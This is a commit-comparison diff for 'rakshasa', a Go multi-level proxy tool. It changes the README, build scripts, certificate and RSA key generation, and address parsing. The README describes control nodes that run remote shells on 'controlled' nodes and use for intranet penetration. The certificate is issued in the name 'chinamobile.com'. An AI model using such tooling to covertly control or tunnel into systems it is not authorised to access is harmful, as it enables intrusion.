Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ac68df552e | ||
|
|
880c491fd4 | ||
|
|
461e3ba883 | ||
|
|
d78957b6ac | ||
|
|
22be1209a5 | ||
|
|
ec51f136eb | ||
|
|
e48ed59a73 | ||
|
|
34d95e9eb9 | ||
|
|
8139be1c97 | ||
|
|
b98369f6ab | ||
|
|
4577793534 | ||
|
|
3b9a9cf4e1 | ||
|
|
6379a3779d |
@@ -7,37 +7,77 @@ rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现*
|
||||
|
||||
节点之间使用内置证书的TLS加密TCP通讯,再叠加一层自定义秘钥的AES加密,可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。
|
||||
|
||||
## 更多使用方法和截图
|
||||
节点分为普通节点(node)与控制节点(fullnode)
|
||||
- 普通节点,无法控制其他节点进行代理、shell等操作
|
||||
- 控制节点,全功能节点
|
||||
|
||||
## 项目结构示例和截图
|
||||
[点击查看更多介绍](./readme/rakshasa项目设计.md)
|
||||
|
||||
[内网穿透--win10+Proxifier使用案例](./readme/rakshasa内网穿透--win10%2BProxifier使用案例.md)
|
||||
[win10+Proxifier实现内网穿透](./readme/rakshasa内网穿透--win10+Proxifier使用案例.md)
|
||||
|
||||
## 版本迭代
|
||||
- **v0.1.0** 2023-03-28
|
||||
- 首次发布
|
||||
- **v0.2.0** 2023-04-02
|
||||
- 更改为fullnode版本,fullnode为全功能版本可以控制别人也能被控
|
||||
- 增加node版本,去掉私钥,无法发起代理等关键操作,适合被控
|
||||
- 增加lite版本,在上面版本的基础上,精简cli交互与http代理池,体积缩小2mb
|
||||
- 优化节点连接逻辑,并且遍历网卡ip进行net.Dail,解决多网卡下,无法连接的问题
|
||||
|
||||
## 编译与使用
|
||||
|
||||
首先生成证书:
|
||||
|
||||
生成新的证书,编译所有版本节点
|
||||
```shell
|
||||
cd gencert
|
||||
go run main.go
|
||||
cd ../
|
||||
```
|
||||
也可以使用其他工具生成证书,将 server.crt 和 server.key 放到 cert 目录下。然后再编译rakshasa
|
||||
|
||||
```shell
|
||||
go build
|
||||
go run build.go -all
|
||||
```
|
||||
|
||||
在 Windows 下使用cmd跨平台编译 Linux 示例:
|
||||
|
||||
编译所有版本节点(不更新证书)
|
||||
```shell
|
||||
cd gencert
|
||||
go run main.go
|
||||
cd ../
|
||||
set GOOS=linux
|
||||
go build
|
||||
go run build.go -all -nocert
|
||||
```
|
||||
|
||||
生成覆盖证书
|
||||
```shell
|
||||
go run build.go -gencert
|
||||
```
|
||||
|
||||
生成控制节点与普通节点
|
||||
```shell
|
||||
go run build.go -fullnode
|
||||
```
|
||||
|
||||
只生成普通节点
|
||||
```shell
|
||||
go run build.go -node
|
||||
```
|
||||
|
||||
证书保存在cert目录下,可以使用第三方工具生成,请使用RSA PKCS1-V1.5
|
||||
```shell
|
||||
private.go --编译普通节点的时候要删除此文件
|
||||
private.pem --与public.pem对应的公钥私钥,普通节点不包含私钥
|
||||
public.pem
|
||||
server.crt --tls通讯证书
|
||||
server.key --tls通讯私钥
|
||||
```
|
||||
## 版本区别
|
||||
|
||||
| | fullnode | node|fullnode_lite|node_lite|
|
||||
| ---- | ---- |---- |---- |---- |
|
||||
|连接其他节点 | √ |√ |√ |√ |
|
||||
|启动本地socks5代理 | √ |√ |√ |√ |
|
||||
|启动本地http代理 | √ |√ |√ |√ |
|
||||
|启动多层代理 | √ |× |√ |× |
|
||||
|远程shell| √ |× |√ |× |
|
||||
|其他远程功能| √ |× |√ |× |
|
||||
| 交互式CLI | √ |√ |× |× |
|
||||
| check_proxy | √ |√ |× |× |
|
||||
|
||||
简单来讲
|
||||
- fullnode 完全版,能控制别人,也能被控
|
||||
- node 能连接其他节点,但是不能对其他节点操控,适合作为被控端
|
||||
- lite版本,精简掉cli和net/http,与一些debug的代码
|
||||
|
||||
## 使用图示
|
||||

|
||||
|
||||
@@ -156,6 +196,5 @@ QQ: 2252233695
|
||||
|
||||
WeChat/微信: Mob20045
|
||||
|
||||
## 知识星球
|
||||

|
||||
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,137 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func main() {
|
||||
all := flag.Bool("all", false, "生成新的证书,生成控制端节点和普通节点")
|
||||
nocert := flag.Bool("nocert", false, "不生成证书")
|
||||
gencert := flag.Bool("gencert", false, "生成证书")
|
||||
fullNode := flag.Bool("fullnode", false, "编译生成控制端节点+普通节点")
|
||||
node := flag.Bool("node", false, "只生成普通节点")
|
||||
fullNodeLite := flag.Bool("fullnode-lite", false, "编译生成lite版本的: 控制端节点+普通节点")
|
||||
nodeLite := flag.Bool("node-lite", false, "只生成lite版本的: 普通节点")
|
||||
genfullNodePrivate := flag.Bool("gen-private", false, "将private.pem转为private.go")
|
||||
flag.Parse()
|
||||
if *all == true {
|
||||
*gencert = true
|
||||
*fullNode = true
|
||||
*node = true
|
||||
*fullNodeLite = true
|
||||
*nodeLite = true
|
||||
}
|
||||
if *nocert {
|
||||
*gencert = false
|
||||
}
|
||||
if *genfullNodePrivate {
|
||||
b, _ := os.ReadFile("./cert/private.pem")
|
||||
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
|
||||
os.WriteFile("./cert/private.go", []byte(data), 0655)
|
||||
return
|
||||
}
|
||||
if *gencert {
|
||||
if runtime.GOOS == "windows" {
|
||||
_, err := exec.Command("cmd.exe", "/c", "cd gencert && go run main.go").CombinedOutput()
|
||||
if err != nil {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
_, err := exec.Command("/bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput()
|
||||
if err != nil {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
if b, _ := os.ReadFile("./cert/private.pem"); len(b) == 0 {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
}
|
||||
if b, _ := os.ReadFile("./cert/public.pem"); len(b) == 0 {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
}
|
||||
if b, _ := os.ReadFile("./cert/server.crt"); len(b) == 0 {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
}
|
||||
if b, _ := os.ReadFile("./cert/server.key"); len(b) == 0 {
|
||||
log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`)
|
||||
return
|
||||
}
|
||||
if *fullNode {
|
||||
b, _ := os.ReadFile("./cert/private.pem")
|
||||
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
|
||||
os.WriteFile("./cert/private.go", []byte(data), 0655)
|
||||
buildNode("build_fullnode")
|
||||
} else if *node {
|
||||
os.Remove("./cert/private.go")
|
||||
buildNode("build_node")
|
||||
}
|
||||
if *fullNodeLite {
|
||||
b, _ := os.ReadFile("./cert/private.pem")
|
||||
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
|
||||
os.WriteFile("./cert/private.go", []byte(data), 0655)
|
||||
buildNode("build_fullnode_lite")
|
||||
} else if *nodeLite {
|
||||
os.Remove("./cert/private.go")
|
||||
buildNode("build_node_lite")
|
||||
}
|
||||
if !*gencert && !*fullNode && !*node && !*fullNodeLite && !*nodeLite && !*genfullNodePrivate {
|
||||
flag.PrintDefaults()
|
||||
}
|
||||
}
|
||||
func buildNode(name string) {
|
||||
if runtime.GOOS == "windows" {
|
||||
cmdstr := fmt.Sprintf(`cd build && %s.bat`, name)
|
||||
err := runCommand("cmd.exe", "/c", cmdstr)
|
||||
if err != nil {
|
||||
log.Fatal(`无法编译,请手动执行 ` + cmdstr)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
exec.Command("/bin/bash", "-c", "cd build && sudo chmod 755 "+name+".sh").CombinedOutput()
|
||||
cmdstr := fmt.Sprintf(`cd build && ./%s.sh`, name)
|
||||
err := runCommand("/bin/bash", "-c", cmdstr)
|
||||
if err != nil {
|
||||
log.Fatal(`无法编译,请手动执行 ` + cmdstr)
|
||||
return
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
func runCommand(name string, arg ...string) error {
|
||||
cmd := exec.Command(name, arg...)
|
||||
stdout, err := cmd.StdoutPipe()
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
//创建一个流来读取管道内内容,这里逻辑是通过一行一行的读取的
|
||||
reader := bufio.NewReader(stdout)
|
||||
//实时循环读取输出流中的一行内容
|
||||
go func() {
|
||||
|
||||
for {
|
||||
line, err2 := reader.ReadString('\n')
|
||||
if err2 != nil || io.EOF == err2 {
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Print(line)
|
||||
}
|
||||
|
||||
}()
|
||||
cmd.Wait()
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
cd ../gencert && go run main.go
|
||||
echo ok
|
||||
@@ -0,0 +1,3 @@
|
||||
#! /bin/sh
|
||||
cd ../gencert && go run main.go
|
||||
echo ok
|
||||
@@ -0,0 +1,22 @@
|
||||
@echo off
|
||||
cd ../
|
||||
|
||||
IF EXIST ./cert/private.go (
|
||||
echo Start build fullnode
|
||||
echo build windows
|
||||
set GOOS=windows
|
||||
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_win.exe main.go
|
||||
echo build linux
|
||||
set GOOS=linux
|
||||
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_linux main.go
|
||||
echo build darwin
|
||||
set GOOS=darwin
|
||||
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_darwin main.go
|
||||
cd cert
|
||||
del "private.go"
|
||||
cd ../build
|
||||
build_node.bat
|
||||
) ELSE (
|
||||
echo ÕÒ²»µ½private.go,ÇëʹÓà go run build.go -fullnodeÀ´±àÒë
|
||||
ping -n 3 127.0.0.1 > nul
|
||||
)
|
||||
@@ -0,0 +1,21 @@
|
||||
#! /bin/sh
|
||||
cd ../
|
||||
|
||||
file=./cert/private.go
|
||||
|
||||
if [ -f "$file" ]; then
|
||||
echo "Start build fullnode"
|
||||
echo "build windows"
|
||||
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_win.exe main.go
|
||||
echo "build linux"
|
||||
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_linux main.go
|
||||
echo "build darwin"
|
||||
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_fullnode_amd64_darwin main.go
|
||||
cd cert
|
||||
rm -f "private.go"
|
||||
cd ../build
|
||||
chmod 755 build_node.sh
|
||||
./build_node.sh
|
||||
else
|
||||
echo "找不到private.go,请使用 go run build.go -full-node来编译"
|
||||
fi
|
||||
@@ -0,0 +1,23 @@
|
||||
@echo off
|
||||
cd ../
|
||||
|
||||
IF EXIST ./cert/private.go (
|
||||
cd rakshasa_lite
|
||||
echo Start build fullnode-lite
|
||||
echo build windows
|
||||
set GOOS=windows
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_win.exe main.go
|
||||
echo build linux
|
||||
set GOOS=linux
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_linux main.go
|
||||
echo build darwin
|
||||
set GOOS=darwin
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_darwin main.go
|
||||
cd ../cert
|
||||
del "private.go"
|
||||
cd ../build
|
||||
build_node_lite.bat
|
||||
) ELSE (
|
||||
echo ÕÒ²»µ½private.go,ÇëʹÓà go run build.go -fullnode-liteÀ´±àÒë
|
||||
ping -n 3 127.0.0.1 > nul
|
||||
)
|
||||
@@ -0,0 +1,22 @@
|
||||
#! /bin/sh
|
||||
cd ../
|
||||
|
||||
file=./cert/private.go
|
||||
|
||||
if [ -f "$file" ]; then
|
||||
cd rakshasa_lite
|
||||
echo "Start build fullnode-lite"
|
||||
echo "build windows"
|
||||
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_win.exe main.go
|
||||
echo "build linux"
|
||||
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_linux main.go
|
||||
echo "build darwin"
|
||||
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_darwin main.go
|
||||
cd ../cert
|
||||
rm -f "private.go"
|
||||
cd ../build
|
||||
chmod 755 build_node.sh
|
||||
./build_node.sh
|
||||
else
|
||||
echo "找不到private.go,请使用 go run build.go -fullnode-lite来编译"
|
||||
fi
|
||||
@@ -0,0 +1,20 @@
|
||||
@echo off
|
||||
cd ../
|
||||
|
||||
IF EXIST ./cert/private.go (
|
||||
echo 请删除private.go后在编译
|
||||
ping -n 3 127.0.0.1 > nul
|
||||
) ELSE (
|
||||
echo Start build node
|
||||
echo build windows
|
||||
set GOOS=windows
|
||||
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_win.exe main.go
|
||||
echo build linux
|
||||
set GOOS=linux
|
||||
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_linux main.go
|
||||
echo build darwin
|
||||
set GOOS=darwin
|
||||
go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_darwin main.go
|
||||
echo End
|
||||
|
||||
)
|
||||
@@ -0,0 +1,16 @@
|
||||
#! /bin/sh
|
||||
cd ../
|
||||
|
||||
file=./cert/private.go
|
||||
|
||||
if [ ! -f "$file" ]; then
|
||||
echo "Start build node"
|
||||
echo "build windows"
|
||||
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_win.exe main.go
|
||||
echo "build linux"
|
||||
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_linux main.go
|
||||
echo "build darwin"
|
||||
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ./bin/rakshasa_node_amd64_darwin main.go
|
||||
else
|
||||
echo "请删除private.go后在编译"
|
||||
fi
|
||||
@@ -0,0 +1,21 @@
|
||||
@echo off
|
||||
cd ../
|
||||
|
||||
IF EXIST ./cert/private.go (
|
||||
echo Çëɾ³ýprivate.goºóÔÚ±àÒë
|
||||
ping -n 3 127.0.0.1 > nul
|
||||
) ELSE (
|
||||
cd rakshasa_lite
|
||||
echo Start build node-lite
|
||||
echo build windows
|
||||
set GOOS=windows
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go
|
||||
echo build linux
|
||||
set GOOS=linux
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go
|
||||
echo build darwin
|
||||
set GOOS=darwin
|
||||
go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go
|
||||
echo End
|
||||
|
||||
)
|
||||
@@ -0,0 +1,17 @@
|
||||
#! /bin/sh
|
||||
cd ../
|
||||
|
||||
file=./cert/private.go
|
||||
|
||||
if [ ! -f "$file" ]; then
|
||||
cd rakshasa_lite
|
||||
echo "Start build node-lite"
|
||||
echo "build windows"
|
||||
GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go
|
||||
echo "build linux"
|
||||
GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go
|
||||
echo "build darwin"
|
||||
GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go
|
||||
else
|
||||
echo "请删除private.go后在编译"
|
||||
fi
|
||||
@@ -0,0 +1,3 @@
|
||||
module cert
|
||||
|
||||
go 1.20
|
||||
+81
-2
@@ -1,24 +1,32 @@
|
||||
package cert
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
_ "embed"
|
||||
"encoding/base64"
|
||||
"encoding/pem"
|
||||
|
||||
"log"
|
||||
|
||||
"github.com/farmerx/gorsa"
|
||||
)
|
||||
|
||||
//go:embed server.crt
|
||||
var rsaCert []byte
|
||||
|
||||
//go:embed server.key
|
||||
var PublicKey []byte
|
||||
var RsaPrivateKey []byte
|
||||
|
||||
var Tlsconfig *tls.Config
|
||||
|
||||
func init() {
|
||||
|
||||
//内置证书
|
||||
|
||||
cert, err := tls.X509KeyPair(rsaCert, PublicKey)
|
||||
cert, err := tls.X509KeyPair(rsaCert, RsaPrivateKey)
|
||||
if err != nil {
|
||||
log.Panicln(err)
|
||||
return
|
||||
@@ -51,3 +59,74 @@ func init() {
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
//go:embed public.pem
|
||||
var publicKey []byte
|
||||
|
||||
var privateKey []byte
|
||||
|
||||
// 使用公钥进行加密
|
||||
func RSAEncrypter(msg []byte) []byte {
|
||||
block, _ := pem.Decode(publicKey)
|
||||
pub, _ := x509.ParsePKIXPublicKey(block.Bytes)
|
||||
cipherText, _ := rsa.EncryptPKCS1v15(rand.Reader, pub.(*rsa.PublicKey), msg)
|
||||
return cipherText
|
||||
}
|
||||
func RSAEncrypterStr(msg string) string {
|
||||
block, _ := pem.Decode(publicKey)
|
||||
pub, _ := x509.ParsePKIXPublicKey(block.Bytes)
|
||||
cipherText, _ := rsa.EncryptPKCS1v15(rand.Reader, pub.(*rsa.PublicKey), []byte(msg))
|
||||
return base64.StdEncoding.EncodeToString(cipherText)
|
||||
}
|
||||
|
||||
// 使用私钥进行解密
|
||||
func RSADecrypter(cipherText []byte) []byte {
|
||||
if block, _ := pem.Decode(privateKey); block != nil {
|
||||
p, _ := x509.ParsePKCS1PrivateKey(block.Bytes)
|
||||
afterDecrypter, _ := rsa.DecryptPKCS1v15(rand.Reader, p, cipherText)
|
||||
return afterDecrypter
|
||||
}
|
||||
return []byte{}
|
||||
}
|
||||
func RSADecrypterStr(cipherText string) string {
|
||||
if block, _ := pem.Decode(privateKey); block != nil {
|
||||
p, _ := x509.ParsePKCS1PrivateKey(block.Bytes)
|
||||
b, _ := base64.StdEncoding.DecodeString(cipherText)
|
||||
afterDecrypter, _ := rsa.DecryptPKCS1v15(rand.Reader, p, b)
|
||||
return string(afterDecrypter)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
func RSAEncrypterByPriv(msg string) string {
|
||||
prienctypt, _ := gorsa.RSA.PriKeyENCTYPT([]byte(msg))
|
||||
return base64.StdEncoding.EncodeToString(prienctypt)
|
||||
}
|
||||
func RSAEncrypterByPrivByte(msg []byte) []byte {
|
||||
prienctypt, _ := gorsa.RSA.PriKeyENCTYPT([]byte(msg))
|
||||
return prienctypt
|
||||
}
|
||||
func RSADecrypterByPub(cipherText string) string {
|
||||
b, _ := base64.StdEncoding.DecodeString(cipherText)
|
||||
pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(b)
|
||||
return string(pubdecrypt)
|
||||
}
|
||||
func RSADecrypterByPubByte(cipherText []byte) []byte {
|
||||
pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(cipherText)
|
||||
return pubdecrypt
|
||||
}
|
||||
func init() {
|
||||
if err := gorsa.RSA.SetPublicKey(string(publicKey)); err != nil {
|
||||
log.Fatalln("无法加载publicKey,请检查public.pem")
|
||||
}
|
||||
if len(privateKey) > 0 {
|
||||
//fullnode
|
||||
if err := gorsa.RSA.SetPrivateKey(string(privateKey)); err != nil {
|
||||
log.Fatalln("无法加载privateKey,请检查private.go")
|
||||
}
|
||||
test := "hello world"
|
||||
if RSADecrypterByPub(RSAEncrypterByPriv(test)) != test {
|
||||
log.Fatalln("当前内置的public.pem 与 private.pem 无法正常加密解密")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+28
-43
@@ -4,7 +4,8 @@ import (
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/dlclark/regexp2"
|
||||
"regexp"
|
||||
|
||||
"net"
|
||||
"strconv"
|
||||
)
|
||||
@@ -25,68 +26,52 @@ func ParseAddr(str string) (cfg *Addr, err error) {
|
||||
}
|
||||
|
||||
}()
|
||||
r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0)
|
||||
m, err := r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`)
|
||||
m := r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5])
|
||||
|
||||
addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口")
|
||||
return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口")
|
||||
}
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
user: res_v[2],
|
||||
passwd: res_v[3],
|
||||
ip: res_v[4],
|
||||
scheam: m[0][1],
|
||||
user: m[0][2],
|
||||
passwd: m[0][3],
|
||||
ip: m[0][4],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0)
|
||||
m, err = r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
port, _ := strconv.Atoi(res_v[4])
|
||||
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`)
|
||||
m = r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
|
||||
port, _ := strconv.Atoi(m[0][4])
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
user: res_v[2],
|
||||
passwd: res_v[3],
|
||||
scheam: m[0][1],
|
||||
user: m[0][2],
|
||||
passwd: m[0][3],
|
||||
ip: "",
|
||||
port: port,
|
||||
}, nil
|
||||
}
|
||||
r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0)
|
||||
m, err = r.FindStringMatch(str)
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误," + err.Error())
|
||||
}
|
||||
r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)$`)
|
||||
m = r.FindAllStringSubmatch(str, 1)
|
||||
|
||||
if m != nil {
|
||||
var res_v []string
|
||||
for _, v := range m.Groups() {
|
||||
res_v = append(res_v, v.String())
|
||||
}
|
||||
addr, err := net.ResolveTCPAddr("tcp", res_v[2]+":"+res_v[3])
|
||||
|
||||
addr, err := net.ResolveTCPAddr("tcp", m[0][2]+":"+m[0][3])
|
||||
if err != nil {
|
||||
return nil, errors.New("配置解析错误 " + res_v[1] + ":" + res_v[2] + " 不是有效的 地址:端口")
|
||||
return nil, errors.New("配置解析错误 " + m[0][1] + ":" + m[0][2] + " 不是有效的 地址:端口")
|
||||
}
|
||||
|
||||
return &Addr{
|
||||
scheam: res_v[1],
|
||||
scheam: m[0][1],
|
||||
user: "",
|
||||
passwd: "",
|
||||
ip: res_v[2],
|
||||
ip: m[0][2],
|
||||
port: addr.Port,
|
||||
}, nil
|
||||
}
|
||||
|
||||
+13
-12
@@ -4,15 +4,16 @@ import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/dlclark/regexp2"
|
||||
"github.com/google/uuid"
|
||||
"math/rand"
|
||||
"net"
|
||||
"rakshasa/aes"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
var Debug bool = false
|
||||
@@ -28,10 +29,10 @@ var EnableTermVt bool
|
||||
|
||||
// 数据包结构 包长(2byte)UUID+UUID+MsgId+Ttl+cmd包
|
||||
type Msg struct {
|
||||
From string
|
||||
To string
|
||||
MsgId uint32
|
||||
Ttl uint8
|
||||
From string
|
||||
To string
|
||||
MsgId uint32
|
||||
Ttl uint8
|
||||
CmdOpteion uint8
|
||||
CmdId uint32
|
||||
CmdData []byte
|
||||
@@ -202,7 +203,7 @@ type RegMsg struct {
|
||||
ViaUUID string
|
||||
Err string
|
||||
MainIp string
|
||||
Port int
|
||||
Port string
|
||||
}
|
||||
|
||||
var msgId uint32
|
||||
@@ -311,13 +312,13 @@ func ResolveTCPAddr(str string) ([]string, error) {
|
||||
dst = append(dst[:i], dst[i+1:]...)
|
||||
} else {
|
||||
if _, err := net.ResolveTCPAddr("tcp", addr); err != nil {
|
||||
if i>0{
|
||||
r, _ := regexp2.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`, 0)
|
||||
match,_ :=r.MatchString(addr)
|
||||
if !match{
|
||||
if i > 0 {
|
||||
r, _ := regexp.Compile(`^[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}`)
|
||||
match := r.MatchString(addr)
|
||||
if !match {
|
||||
return nil, fmt.Errorf("参数错误 格式为\"ip:端口\",多个地址以逗号隔开,错误详情%v", err)
|
||||
}
|
||||
}else{
|
||||
} else {
|
||||
return nil, fmt.Errorf("参数错误 格式为\"ip:端口,第二个地址可以是UUID\",多个地址以逗号隔开,错误详情%v", err)
|
||||
}
|
||||
|
||||
|
||||
+1
-2
@@ -2,7 +2,6 @@ dstnode:
|
||||
#- 192.168.1.180:8883
|
||||
password: ""
|
||||
port: 8884
|
||||
listenip:
|
||||
- 192.168.1.151
|
||||
listenip: 192.168.1.151
|
||||
limit: false
|
||||
filename: config.yaml
|
||||
|
||||
+55
-6
@@ -7,6 +7,7 @@ import (
|
||||
"crypto/x509"
|
||||
"crypto/x509/pkix"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/big"
|
||||
"math/rand"
|
||||
@@ -14,8 +15,11 @@ import (
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
type RandReader struct {
|
||||
rand.Source
|
||||
}
|
||||
func main() {
|
||||
rand.Seed(time.Now().Unix())
|
||||
subj := &pkix.Name{
|
||||
CommonName: "chinamobile.com",
|
||||
Organization: []string{"Company, INC."},
|
||||
@@ -29,16 +33,17 @@ func main() {
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
|
||||
Write(ca, "../cert/server")
|
||||
|
||||
crt, err := Req(ca.CSR, subj, 10, []string{"test.default.svc", "test"}, []net.IP{})
|
||||
//Write(ca, "../cert/server")
|
||||
crt, err := Req(ca.CSR, subj, 365, []string{"test.default.svc", "test"}, []net.IP{})
|
||||
|
||||
if err != nil {
|
||||
log.Panic(err)
|
||||
}
|
||||
|
||||
Write(crt, "../cert/server")
|
||||
GenerateRSAKey(2096)
|
||||
b, _ := os.ReadFile("../cert/private.pem")
|
||||
data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b)
|
||||
os.WriteFile("../cert/private.go", []byte(data), 0655)
|
||||
}
|
||||
|
||||
type CERT struct {
|
||||
@@ -162,3 +167,47 @@ func Write(cert *CERT, file string) error {
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func GenerateRSAKey(bits int) {
|
||||
//GenerateKey函数使用随机数据生成器random生成一对具有指定字位数的RSA密钥
|
||||
//Reader是一个全局、共享的密码用强随机数生成器
|
||||
privateKey, err := rsa.GenerateKey(cr.Reader, bits)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
//保存私钥
|
||||
//通过x509标准将得到的ras私钥序列化为ASN.1 的 DER编码字符串
|
||||
X509PrivateKey := x509.MarshalPKCS1PrivateKey(privateKey)
|
||||
//使用pem格式对x509输出的内容进行编码
|
||||
//创建文件保存私钥
|
||||
privateFile, err := os.Create("../cert/private.pem")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer privateFile.Close()
|
||||
//构建一个pem.Block结构体对象
|
||||
privateBlock := pem.Block{Type: "RSA Private Key", Bytes: X509PrivateKey}
|
||||
//将数据保存到文件
|
||||
pem.Encode(privateFile, &privateBlock)
|
||||
|
||||
//保存公钥
|
||||
//获取公钥的数据
|
||||
publicKey := privateKey.PublicKey
|
||||
//X509对公钥编码
|
||||
